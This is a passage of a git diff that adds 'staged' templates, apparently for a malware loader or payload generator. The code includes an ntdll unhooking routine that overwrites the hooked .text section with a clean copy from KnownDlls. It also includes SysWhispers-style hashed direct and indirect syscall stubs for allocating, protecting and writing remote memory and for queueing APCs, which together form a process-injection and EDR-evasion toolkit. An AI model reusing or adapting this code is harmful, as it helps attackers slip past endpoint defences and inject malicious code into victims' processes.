LibLoaderTracingEnabled : 1; + ULONG SpareTracingBits : 29; + }; + }; + ULONGLONG CsrServerReadOnlySharedMemoryBase; + PRTL_CRITICAL_SECTION TppWorkerpListLock; + LIST_ENTRY TppWorkerpList; + PVOID WaitOnAddressHashTable[128]; + PVOID TelemetryCoverageHeader; // REDSTONE3 + ULONG CloudFileFlags; + ULONG CloudFileDiagFlags; // REDSTONE4 + CHAR PlaceholderCompatibilityMode; + CHAR PlaceholderCompatibilityModeReserved[7]; + struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5 + union + { + ULONG LeapSecondFlags; + struct + { + ULONG SixtySecondEnabled : 1; + ULONG Reserved : 31; + }; + }; + ULONG NtGlobalFlag2; + ULONGLONG ExtendedFeatureDisableMask; // since WIN11 +} PEB, * PPEB; + +typedef struct _AES { + + PBYTE pPlainText; // base address of the plain text data + DWORD dwPlainSize; // size of the plain text data + + PBYTE pCipherText; // base address of the encrypted data + DWORD dwCipherSize; // size of it (this can change from dwPlainSize in case there was padding) + + PBYTE pKey; // the 32 byte key + PBYTE pIv; // the 16 byte iv + +} AES, * PAES; + +typedef LONG KPRIORITY; + + +typedef struct _SYSTEM_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; //VISTA + ULONG HardFaultCount; //WIN7 + ULONG NumberOfThreadsHighWatermark; //WIN7 + ULONGLONG CycleTime; //WIN7 + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + + // + // This part corresponds to VM_COUNTERS_EX. + // NOTE: *NOT* THE SAME AS VM_COUNTERS! + // + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + + // + // This part corresponds to IO_COUNTERS + // + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + // SYSTEM_THREAD_INFORMATION TH[1]; +} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; + diff --git a/templates/staged/unhook.c b/templates/staged/unhook.c new file mode 100644 index 0000000..8d107fc --- /dev/null +++ b/templates/staged/unhook.c @@ -0,0 +1,131 @@ +/* + + Original Author: SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection + +*/ + +#include + +#include "structs.h" +#include "functions.h" +#include + +#pragma comment(lib, "ntdll") +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define OBJ_CASE_INSENSITIVE 0x00000040L + +#define NtCurrentProcess() ((HANDLE)-1) +#define _CRT_SECURE_NO_WARNINGS + +typedef const UNICODE_STRING* PCUNICODE_STRING; + +NTSYSAPI VOID RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + __drv_aliasesMem PCWSTR SourceString + ); + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PCUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR; + PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + + +typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID* BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + DWORD InheritDisposition, + ULONG AllocationType, + ULONG Win32Protect + ); + +NTSTATUS NtOpenSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes +); + +#define InitializeObjectAttributes(p, n, a, r, s) { \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + + +LPVOID MapNtdll() { + + UNICODE_STRING DestinationString; + const wchar_t SourceString[] = { '\\','K','n','o','w','n','D','l','l','s','\\','n','t','d','l','l','.','d','l','l', 0 }; + + RtlInitUnicodeString(&DestinationString, SourceString); + + OBJECT_ATTRIBUTES ObAt; + InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL); + + + HANDLE hSection; + NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt); + if (!NT_SUCCESS(status1)) { + printf("[!] Failed in NtOpenSection (%u)\n", GetLastError()); + return NULL; + } + + PVOID pntdll = NULL; + ULONG_PTR ViewSize = 0; + + MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-NTMVOS_VALUE-#)); + NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY); + if (!NT_SUCCESS(status2)) { + printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError()); + getchar(); + return NULL; + } + return pntdll; +} + +BOOL Unhook(LPVOID module) { + + HANDLE hntdll = GetModuleHandleH(#-NTDLL_VALUE-#); + + PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module; + PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew); + if (!NTheader) { + printf(" [-] Not a PE file\n"); + return FALSE; + } + + PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader); + DWORD oldprotect = 0; + + for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) { + + char txt[] = { '.','t','e','x','t', 0 }; + + if (!strcmp((char*)sectionHdr->Name, txt)) { + BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); + if (!status1) + return FALSE; + + memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize); + + BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect); + if (!status2) + return FALSE; + + } + return TRUE; + } + +} \ No newline at end of file diff --git a/templates/staged/whispers-asm.x64.asm b/templates/staged/whispers-asm.x64.asm new file mode 100644 index 0000000..fadce88 --- /dev/null +++ b/templates/staged/whispers-asm.x64.asm @@ -0,0 +1,123 @@ +; =============================================================== +; NASM x64 version of your assembly. +; Save as "whispers-asm.nasm", for example. +; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj +; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe +; =============================================================== + +bits 64 ; 64-bit code +default rel ; Use RIP-relative addressing by default + +section .text + +; Export the labels so your C code can call them +global NTAVM +global NTPVM +global NTWVM +global NTQAT + +; Declare external symbols (the calls to these are in your code) +extern SW3_GetSyscallNumber +extern SW3_GetRandomSyscallAddress + +; --------------------------------------------------------------------------- +; NTAVM +; --------------------------------------------------------------------------- +NTAVM: + mov [rsp + 8], rcx ; Save registers + mov [rsp + 16], rdx + mov [rsp + 24], r8 + mov [rsp + 32], r9 + + sub rsp, 0x28 + mov ecx, 0xC189CD1E ; Load function hash into ECX + call SW3_GetRandomSyscallAddress + mov r11, rax ; Save the address of the syscall + + mov ecx, 0xC189CD1E ; Re-load function hash (optional) + call SW3_GetSyscallNumber + + add rsp, 0x28 + mov rcx, [rsp + 8] ; Restore registers + mov rdx, [rsp + 16] + mov r8, [rsp + 24] + mov r9, [rsp + 32] + mov r10, rcx + jmp r11 ; Jump to -> Invoke system call + +; --------------------------------------------------------------------------- +; NTPVM +; --------------------------------------------------------------------------- +NTPVM: + mov [rsp + 8], rcx + mov [rsp + 16], rdx + mov [rsp + 24], r8 + mov [rsp + 32], r9 + + sub rsp, 0x28 + mov ecx, 0x159D0313 ; Load function hash + call SW3_GetRandomSyscallAddress + mov r11, rax + + mov ecx, 0x159D0313 ; Re-load function hash + call SW3_GetSyscallNumber + + add rsp, 0x28 + mov rcx, [rsp + 8] + mov rdx, [rsp + 16] + mov r8, [rsp + 24] + mov r9, [rsp + 32] + mov r10, rcx + jmp r11 + +; --------------------------------------------------------------------------- +; NTWVM +; --------------------------------------------------------------------------- +NTWVM: + mov [rsp + 8], rcx + mov [rsp + 16], rdx + mov [rsp + 24], r8 + mov [rsp + 32], r9 + + sub rsp, 0x28 + mov ecx, 0x83179B97 ; Load function hash + call SW3_GetRandomSyscallAddress + mov r11, rax + + mov ecx, 0x83179B97 + call SW3_GetSyscallNumber + + add rsp, 0x28 + mov rcx, [rsp + 8] + mov rdx, [rsp + 16] + mov r8, [rsp + 24] + mov r9, [rsp + 32] + mov r10, rcx + jmp r11 + +; --------------------------------------------------------------------------- +; NTQAT +; --------------------------------------------------------------------------- +NTQAT: + mov [rsp + 8], rcx + mov [rsp + 16], rdx + mov [rsp + 24], r8 + mov [rsp + 32], r9 + + sub rsp, 0x28 + mov ecx, 0x88AE129F ; Load function hash + call SW3_GetRandomSyscallAddress + mov r11, rax + + mov ecx, 0x88AE129F + call SW3_GetSyscallNumber + + add rsp, 0x28 + mov rcx, [rsp + 8] + mov rdx, [rsp + 16] + mov r8, [rsp + 24] + mov r9, [rsp + 32] + mov r10, rcx + jmp r11 + +; End of file diff --git a/templates/staged/whispers.c b/templates/staged/whispers.c new file mode 100644 index 0000000..96c0ae6 --- /dev/null +++ b/templates/staged/whispers.c @@ -0,0 +1,278 @@ +#include "whispers.h" +#include + +//#define DEBUG + +#define JUMPER + +#ifdef _M_IX86 + +EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { + return (PVOID)__readfsdword(0xC0); +} + +__declspec(naked) BOOL local_is_wow64(void) +{ + __asm { + mov eax, fs:[0xc0] + test eax, eax + jne wow64 + mov eax, 0 + ret + wow64: + mov eax, 1 + ret + } +} + + +#endif + +// Code below is adapted from @modexpblog. Read linked article for more details. +// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams + +SW3_SYSCALL_LIST SW3_SyscallList; + +// SEARCH_AND_REPLACE +#ifdef SEARCH_AND_REPLACE +// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release +EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); +#endif + +DWORD SW3_HashSyscall(PCSTR FunctionName) +{ + DWORD i = 0; + DWORD Hash = SW3_SEED; + + while (FunctionName[i]) + { + WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); + Hash ^= PartialName + SW3_ROR8(Hash); + } + + return Hash; +} + +#ifndef JUMPER +PVOID SC_Address(PVOID NtApiAddress) +{ + return NULL; +} +#else +PVOID SC_Address(PVOID NtApiAddress) +{ + DWORD searchLimit = 512; + PVOID SyscallAddress; + + #ifdef _WIN64 + // If the process is 64-bit on a 64-bit OS, we need to search for syscall + BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; + ULONG distance_to_syscall = 0x12; + #else + // If the process is 32-bit on a 32-bit OS, we need to search for sysenter + BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; + ULONG distance_to_syscall = 0x0f; + #endif + + #ifdef _M_IX86 + // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved + if (local_is_wow64()) + { + #ifdef DEBUG + printf("[+] Running 32-bit app on x64 (WOW64)\n"); + #endif + return NULL; + } + #endif + + // we don't really care if there is a 'jmp' between + // NtApiAddress and the 'syscall; ret' instructions + SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); + + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + // we can use the original code for this system call :) + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + + // the 'syscall; ret' intructions have not been found, + // we will try to use one near it, similarly to HalosGate + + for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) + { + // let's try with an Nt* API below our syscall + SyscallAddress = SW3_RVA2VA( + PVOID, + NtApiAddress, + distance_to_syscall + num_jumps * 0x20); + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + + // let's try with an Nt* API above our syscall + SyscallAddress = SW3_RVA2VA( + PVOID, + NtApiAddress, + distance_to_syscall - num_jumps * 0x20); + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + } + +#ifdef DEBUG + printf("Syscall Opcodes not found!\n"); +#endif + + return NULL; +} +#endif + + +BOOL SW3_PopulateSyscallList() +{ + // Return early if the list is already populated. + if (SW3_SyscallList.Count) return TRUE; + + #ifdef _WIN64 + PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); + #else + PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); + #endif + PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + PVOID DllBase = NULL; + + // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second + // in the list, so it's safer to loop through the full list and find it. + PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; + for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) + { + DllBase = LdrEntry->DllBase; + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; + PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); + PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; + DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (VirtualAddress == 0) continue; + + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); + + // If this is NTDLL.dll, exit loop. + PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); + + if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; + if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; + } + + if (!ExportDirectory) return FALSE; + + DWORD NumberOfNames = ExportDirectory->NumberOfNames; + PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); + PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); + PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); + + // Populate SW3_SyscallList with unsorted Zw* entries. + DWORD i = 0; + PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; + do + { + PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); + + // Is this a system call? + if (*(USHORT*)FunctionName == 0x775a) + { + Entries[i].Hash = SW3_HashSyscall(FunctionName); + Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; + Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); + + i++; + if (i == SW3_MAX_ENTRIES) break; + } + } while (--NumberOfNames); + + // Save total number of system calls found. + SW3_SyscallList.Count = i; + + // Sort the list by address in ascending order. + for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) + { + for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) + { + if (Entries[j].Address > Entries[j + 1].Address) + { + // Swap entries. + SW3_SYSCALL_ENTRY TempEntry; + + TempEntry.Hash = Entries[j].Hash; + TempEntry.Address = Entries[j].Address; + TempEntry.SyscallAddress = Entries[j].SyscallAddress; + + Entries[j].Hash = Entries[j + 1].Hash; + Entries[j].Address = Entries[j + 1].Address; + Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; + + Entries[j + 1].Hash = TempEntry.Hash; + Entries[j + 1].Address = TempEntry.Address; + Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; + } + } + } + + return TRUE; +} + +EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return -1; + + for (DWORD i = 0; i < SW3_SyscallList.Count; i++) + { + if (FunctionHash == SW3_SyscallList.Entries[i].Hash) + { + return i; + } + } + + return -1; +} + +EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return NULL; + + for (DWORD i = 0; i < SW3_SyscallList.Count; i++) + { + if (FunctionHash == SW3_SyscallList.Entries[i].Hash) + { + return SW3_SyscallList.Entries[i].SyscallAddress; + } + } + + return NULL; +} + +EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return NULL; + + DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; + + while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ + // Spoofing the syscall return address + index = ((DWORD) rand()) % SW3_SyscallList.Count; + } + return SW3_SyscallList.Entries[index].SyscallAddress; +} diff --git a/templates/staged/whispers.h b/templates/staged/whispers.h new file mode 100644 index 0000000..82c24e8 --- /dev/null +++ b/templates/staged/whispers.h @@ -0,0 +1,100 @@ +#pragma once + +// Code below is adapted from @modexpblog. Read linked article for more details. +// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams + +#ifndef SW3_HEADER_H_ +#define SW3_HEADER_H_ + +#include + +#ifndef _NTDEF_ +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +typedef NTSTATUS* PNTSTATUS; +#endif + +#define SW3_SEED 0x51EBD349 +#define SW3_ROL8(v) (v << 8 | v >> 24) +#define SW3_ROR8(v) (v >> 8 | v << 24) +#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) +#define SW3_MAX_ENTRIES 600 +#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) + +// Typedefs are prefixed to avoid pollution. + +typedef struct _SW3_SYSCALL_ENTRY +{ + DWORD Hash; + DWORD Address; + PVOID SyscallAddress; +} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; + +typedef struct _SW3_SYSCALL_LIST +{ + DWORD Count; + SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; +} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; + +typedef struct _SW3_PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; + +typedef struct _SW3_LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; +} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; + +typedef struct _SW3_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PSW3_PEB_LDR_DATA Ldr; +} SW3_PEB, *PSW3_PEB; + +DWORD SW3_HashSyscall(PCSTR FunctionName); +BOOL SW3_PopulateSyscallList(); +EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); +EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); +EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); +typedef VOID(KNORMAL_ROUTINE) ( + IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2); + +typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; + +EXTERN_C NTSTATUS NTAVM( + IN HANDLE ProcessHandle, + IN OUT PVOID * BaseAddress, + IN ULONG ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect); + +EXTERN_C NTSTATUS NTPVM( + IN HANDLE ProcessHandle, + IN OUT PVOID * BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect); + +EXTERN_C NTSTATUS NTWVM( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN PVOID Buffer, + IN SIZE_T NumberOfBytesToWrite, + OUT PSIZE_T NumberOfBytesWritten OPTIONAL); + +EXTERN_C NTSTATUS NTQAT( + IN HANDLE ThreadHandle, + IN PKNORMAL_ROUTINE ApcRoutine, + IN PVOID ApcArgument1 OPTIONAL, + IN PVOID ApcArgument2 OPTIONAL, + IN PVOID ApcArgument3 OPTIONAL); + +#endif